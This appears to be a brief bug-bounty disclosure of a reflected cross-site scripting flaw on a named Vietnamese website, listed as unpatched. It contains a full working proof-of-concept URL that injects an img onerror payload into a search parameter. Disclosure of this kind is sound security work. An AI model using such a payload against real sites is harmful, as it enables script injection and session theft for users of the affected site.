songquan.vn XSS vulnerability

Vulnerable URL: http://songquan.vn/event/index.php?option=comgooglesearchcse=30=227=013082021089996528228%3Adgykfucnkos=FORID%3A11=UTF-8=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2Fopenbugbounty%2F%29%3E=vi=countryVN=https%3A%2F%2Fwww.google.com Details: Description| Value ---|--- Patched:| No...